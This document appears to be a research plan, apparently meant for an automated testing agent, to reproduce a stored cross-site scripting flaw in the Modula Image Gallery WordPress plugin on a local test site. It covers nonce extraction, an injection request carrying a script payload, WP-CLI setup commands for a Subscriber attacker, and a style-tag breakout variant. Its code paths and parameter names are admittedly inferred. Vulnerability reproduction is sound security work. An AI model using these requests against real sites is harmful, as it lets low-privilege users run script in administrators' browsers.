Research Plan: CVE-2026-42688 - Modula Image Gallery Stored XSS

1. Vulnerability Summary

The Modula Image Gallery plugin for WordPress (versions <= 2.14.23) contains a Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability exists in the plugin's AJAX handlers—likely related to saving gallery item metadata or settings—which fail to perform adequate capability checks and do not sanitize user-supplied input. This allows an authenticated attacker with Subscriber-level permissions to inject arbitrary web scripts into gallery fields (such as titles, captions, or custom CSS), which are then executed when other users (including administrators) view the affected gallery or its settings.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: modula_save_item_data (inferred from common Modula AJAX patterns)
• Vulnerable Parameter: title, caption, or alt (within the metadata array)
• Authentication: Subscriber+ (any logged-in user)
• Precondition: At least one gallery must exist on the site for the attacker to target an attachment_id (item ID).

3. Code Flow (Inferred)

1. The attacker sends a POST request to admin-ajax.php with the action modula_save_item_data.
2. The handler, likely defined in includes/admin/class-modula-admin.php, registers the hook:
   add_action( 'wp_ajax_modula_save_item_data', array( $this, 'save_item_data' ) );
3. The save_item_data function retrieves the nonce and verifies it using check_ajax_referer( 'modula-nonce', 'nonce' ).
4. The Flaw: The function fails to check for a capability like edit_posts or manage_options before processing data. It assumes that if the user is logged in and has a valid nonce, they are authorized to edit gallery items.
5. The function takes raw input from $_POST['caption'] or $_POST['title'] and saves it to the database via update_post_meta( $item_id, 'modula_item_data', $metadata ).
6. The modula_shortcode handler (likely in includes/public/class-modula-public.php) renders the gallery. It fetches the metadata and outputs the caption/title using echo without calling esc_html() or esc_attr().

4. Nonce Acquisition Strategy

Modula localizes settings and nonces into the modula_vars or modula_admin JavaScript objects. To exploit this as a Subscriber, we must find a location where the plugin enqueues its scripts for authenticated users.

1. Identify Shortcode: The plugin uses the [modula id="ID"] shortcode.
2. Create Test Page:

   wp post create --post_type=page --post_title="Gallery Test" --post_status=publish --post_content='[modula id="REPLACE_WITH_ACTUAL_ID"]'
   

3. Navigate and Extract:
   Use the browser_navigate tool to the test page as the Subscriber user.
4. Execute JavaScript:
   Use browser_eval to extract the nonce and item IDs:

   // Check common Modula localization objects
   const nonce = window.modula_vars?.nonce || window.modula_admin?.nonce;
   const items = jQuery('.modula-item').map((i, el) => jQuery(el).data('id')).get();
   ({ nonce, items });
   

5. Exploitation Strategy

Step 1: Preparation

• As Admin, create a gallery and note the gallery ID.
• Add an image to the gallery and note its attachment ID (Item ID).
• Create a page containing the gallery shortcode.

Step 2: Payload Injection

Using the http_request tool, send the malicious update request as a Subscriber.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=modula_save_item_data&nonce=[NONCE]&attachment_id=[ITEM_ID]&title=SafeTitle&caption=<script>alert(document.domain)</script>
  

  (Note: The exact parameter names may vary; check the modula_save_item_data function in the core logic if available.)

Step 3: Triggering XSS

• Navigate to the gallery page as any user (e.g., Admin).
• The script should execute when the gallery item is rendered.

6. Test Data Setup

1. Generate Gallery (Admin):

   # Create a gallery post
   GALLERY_ID=$(wp post create --post_type=modula-gallery --post_title="Target Gallery" --post_status=publish --porcelain)
   # Upload an image to serve as an item
   ITEM_ID=$(wp media import https://wordpress.org/screenshot.png --porcelain)
   # Add the item to the gallery meta (Simulated - Modula stores items in meta)
   wp post meta add $GALLERY_ID modula_gallery_items "$ITEM_ID"
   # Create a public page for the gallery
   wp post create --post_type=page --post_title="Public Gallery" --post_status=publish --post_content="[modula id='$GALLERY_ID']"
   

2. Create Attacker (Subscriber):

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

7. Expected Results

• The admin-ajax.php request should return a 200 OK status and a JSON response like {"success":true}.
• The modula_item_data meta for the attachment will now contain the <script> tag.
• Viewing the "Public Gallery" page will result in a JavaScript alert box appearing.

8. Verification Steps

1. Check Database Meta:

   wp post meta get [ITEM_ID] modula_item_data
   

   Confirm the output contains the raw script tag.
2. Check Frontend Output:
   Use http_request to fetch the gallery page and grep for the payload:

   http_request GET "http://localhost:8080/public-gallery/" | grep -F "<script>alert(document.domain)</script>"
   

9. Alternative Approaches

• Custom CSS Injection: Modula often allows custom CSS per gallery. If the modula_save_settings AJAX action is also vulnerable, an attacker could inject XSS via the custom_css field using </style><script>....
• Gutenberg Block Preview: As seen in assets/css/admin/modula-gutenberg.css, the plugin has a block preview. If a Subscriber can access the Gutenberg editor (e.g., via a post they authored), they might trigger the XSS in the editor preview.